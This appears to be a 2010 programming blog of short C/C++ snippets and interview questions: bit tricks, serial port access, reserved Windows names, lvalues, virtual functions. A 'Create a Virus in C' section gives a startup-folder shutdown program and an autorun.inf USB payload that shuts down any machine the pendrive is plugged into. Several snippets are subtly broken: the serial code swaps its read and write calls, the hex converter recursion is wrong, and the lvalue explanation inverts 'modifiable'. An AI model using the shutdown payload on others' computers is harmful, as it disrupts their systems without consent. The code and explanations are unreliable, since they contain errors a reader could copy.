Thursday, December 30, 2010

Can you write a program whice invoke another C program ?

#include<dos.h>
void main()
{
system("tcc another.c");
system("another.exe");
}

Can you write a program which produces own source code as output ?

#include <stdio.h>
void main()
 {
   FILE *fd;
   int c;

   fd= fopen("./itself.c","r");
   while ( (c=fgetc(fd)) != EOF)
     {
       printf("%c", c);
     }
  
fclose(fd);
}

Some Good Questions

  1. How can I convert integers to binary or hexadecimal?
  2. How can I call a function, given its name as a string?
  3. How do I access command-line arguments?
  4. How can I return multiple values from a function?
  5. How can I invoke another program from within a C program?
  6. How can I access memory located at a certain address?
  7. How can I allocate arrays or structures bigger than 64K?
  8. How can I find out how much memory is available?
  9. How can I read a directory in a C program?
  10. How can I increase the allowable number of simultaneously open files?
  11. What’s wrong with the call fopen (”c:\newdir\file.dat”, “r”)?
  12. How do you write a program which produces its own source code as its output?
  13. How can I find the day of the week given the date?
  14. Why doesn’t C have nested functions?
  15. What is the most efficient way to count the number of bits which are set in a value?

Tuesday, December 28, 2010

Reading and Writing Serial Port



#include<dos.h>
void main()
  {
    char data;
    int choice;
   
  printf("Enter the choice to send or receive from COM1::");
  scanf("%d",&choice);


  if(choice==1)
    {
      printf("Enter data to send::");
      scanf("%c",data);
      inportb(0x03f8,data);
    }
  else
    {
       data=outport(0x3f8);
       printf("reding from  COM1::%d",data);
    }
getch();
}

Creating CON folder in windows

CON is a reserve word in windows operating system. that's why we can not create the folder named as CON.

But by command prompt we can do this
STEP1: goto command prompt
STEP2: type in prompt e:\> "mkdir \\.\e:\con"
STEP3: verify by typing "dir \\.\e:\con"
STEP4: to delete the file or folder "rmdir \\.\e:\con"

following file names in Windows are reserved because they represent devices:
con, con.* -> the console
prn, prn.* -> the default printer, as a character device
aux, aux.* -> the default serial terminal, as a character device
lpt1, lpt2, lpt3, lpt4, lpt5, lpt6, lpt7, lpt8, lpt9 -> the parallel ports, as character devices
com1, com2, com3, com4, com5, com6, com7, com8, com9 -> the COM ports
nul, nul.* -> the NUL or "waste bit bucket" or "black hole for bits" or "/dev/null" device

Write a C program to convert Decimal to Hex


void dec2hex(int num)
{
char hx[16]={"0123456789ABCDEF"};
if(num>15)
{
cout<<(num/16);
dec2hex(num%16);
}
else
cout<<hx[num];
}

Power Of Two

Can you write a program to find, if the number if power of 2 or not..

#include<iostream.h>
#include<conio.h>
void main()
{
int num;
cout<<"Enter The Number:";
cin>>num;
if(! (num &(num-1)))
cout<<"\nNumber is Power of 2";
else
cout<<"\nNumber is NOT Power of 2";
getch();
}

Write a C program to show day and time

#include <stdio.h>
void main()
{
  printf("Date : %s\n", __DATE__);
  printf("Time : %s\n", __TIME__);
}

Can you Count the Number of bits set in an integer ?

First method:

#include<stdio.h>
void main()
{
int i,num,sum=0;
printf("enter the number:");
scanf("%d",&num);
 while(num)
   {
   sum=sum+num%2;
   num/=2;
   }
printf("\n sum is:%d",sum);
getch();
}

Second method:

#include<stdio.h>
void main()
{
int i,num,sum=0;
printf("enter the number:");
scanf("%d",&num);
 while(num)
   {
   sum=sum+ (num & 1);
   num=num>>1;
   }
printf("\n sum is:%d",sum);
getch();
}

Can you Create a Virus in C ?

Just for study purpose : 

1. Create a C program which will shutdown your system whenever you open your system..

# include<dos.h>
void main()
{
system("shutdown -p");
}

a. Save the above program as say shutdown.c
b. Compile the program and get the executable file shutdown.exe
c. Save it into start-up folder.. 
"C:\Users\Amit Raj\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
d. Shutdown and restart the your system now..

2.  Create a USB virus, which will Shutdown your system whenever you insert your Pendrive..

a.  Write the code below in a notepad file
[autorun]
OPEN=shutdown.exe
b. Save the notpad file with the name autorun.inf
c. Copy the autorun.inf and the shutdown.exe into your pendrive
d. Your USB virus is ready..

Monday, December 27, 2010

Can you tell if the given number is even or odd ?

You have to tell the given number is even or odd, but the condition is you can not use any conditional statements or looping statements (if, for, while, goto etc)..

# include<stdio.h>
void main()
{
char *a[2]={"even", "odd"};
int num;
printf("enter Number:");
scanf("%d",&num);

printf("The number is %s",a[num%2]);
}

Will this code compile ?

#define X 8;
int main(void)
{
 ++X; // will this line compile?
}
The concept of lvalues and rvalues must be explained a bit in order to really understand this problem. Before we proceed, you should note that the definition of lvalues and rvalues presented here is not exact as even the C Standards themselves are rather vague on the definition.

An object is a region of memory that can be examined, but not necessarily modified. An lvalue is an expression that refers to such an object. The term lvalue originally referred to objects that appear on the left (hence the 'l') hand side of an expression. That definition no longer applies since any const-qualified type is also considered to be an lvalue, but it can never appear on the left hand side of an assignment statement because it can not be modified. So, the term "modifiable lvalue" was created to refer to an lvalue that can be modified, and a const-qualified type does not fall into this category. 

An rvalue is any expression that has a value, but cannot have a value assigned to it. One could also say that an rvalue is any expression that is not an lvalue . An example of an rvalue would be a literal constant - something like '8', or '3.14'. 

Now let's try to solve the problem. Strictly speaking, the operand of the prefix (or postfix) increment operator must be a non-modifiable lvalue. Now that we know what an lvalue is, we must ask ourselves if X is an lvalue. X is a macro, which means that it does not identify a place in memory - macros use simple text replacement via the preprocessor. Because macros don't exist in a region of memory, they are not lvalues. This means that X can not be used as an operand of the prefix increment operator. Thus, the code shown above will not compile.
 

What's a pure virtual function ?

A pure virtual function is distinguished by the fact that it has no definition, and the heading of the function has the notation "= 0". 

Here is an example of how a pure virtual function in C++ would look: 


class AbstractClass {
public:
   virtual void pure_virtual() = 0;  // a pure virtual function
   // note that there is no function body  
};
 
Although the "= 0" appended to the end of the virtual function definition may look like the function is being assigned a value of 0, that is not true. The notation "= 0" is just there to indicate that the virtual function is a pure virtual function, and it has no body. 

Any base class that contains a pure virtual function is abstract, and cannot have an instance of itself created. This also means that any class that derives from that base class must override the definition of the pure virtual function in the base class, and if it doesn't then the derived class becomes an abstract class as well. 

In Java, pure virtual methods are declared using the abstract keyword. Such a method cannot have a body. A class containing abstract methods must itself be declared abstract. But, an abstract class is not necessarilly required to have any abstract methods. An abstract class cannot be instantiated. 

In C++, a regular, "non-pure" virtual function provides a definition, so it doesn't mean that the class that contains it becomes abstract. You would want to create a pure virtual function when it doesn't make sense to provide a definition for a virtual function in the base class itself. Use a regular virtual function when it makes sense to provide a definition in the base class.

Does C supports function overloading like C++ ?

Looking at the printf() function in C, that may lead one to think that C supports function overloading. Because, in C you can have printf("%d", aDecimal) and printf("%f", aFloat). This looks a lot like function overloading, because we are using the same function name to handle different arguments differently.


Actually, this is not a case of function overloading - the printf function is just using a feature of C known as variable argument lists. This should not be confused with function overloading. So, to answer the question, Standard C does not support function overloading.

As an interesting side note, C++ doesn't really have function overloading. What it does have is a means of faking it: the C++ compiler actually 'mangles' (or changes) function names according to the function's parameters. So, functions that share the same name but have different numbers or types of parameters can be differentiated when invoked. Also, since the 'mangling' of function names is not standardized, it's usually difficult to link object files compiled by different C++ compilers. 

A "Hello World" program

Why HelloWorld ??
If you will see any C/Cpp book, you will find the first program will always start with a "HelloWorld" program.. So I thought why not I also start with the same but in a different way...

This program is going to print "Hello World" but the "Hello" will be in the IF part of the conditional IF-ELSE  and "World" will be in the ELSE part..
Interesting na ?

#include<stdio.h>
void main()
{
    if(!printf("Hello"))
      {}
    else
      {
      printf("World");
      }
}

My First Post

Frankly speaking I always wanted to write some kind of stuff.. I like it.. I always want to share my idea about programming.. When I started with Cpp, it was like studying biology for we engineers...or like maths for an arts student.. But now at this point of time, I can say, "Nothing can be more passionating than writing lines of code" .. Honestly speaking programming is a fun.. It may be writing lines of code for making a computer game or writing code to run a motor or writing code to hack any computer..
I like hardware programming most as I am an Electronics engineer.. I write codes to run motor, I write codes to make a robot dance..
In this blog I will share my knowledge about programming, mostly C/C++.. I will try to give extra features of C/C++ programming.. I will try to teach you how to do system programming or how can you connect your iPhone with your lappy..

Hope You people will have great fun...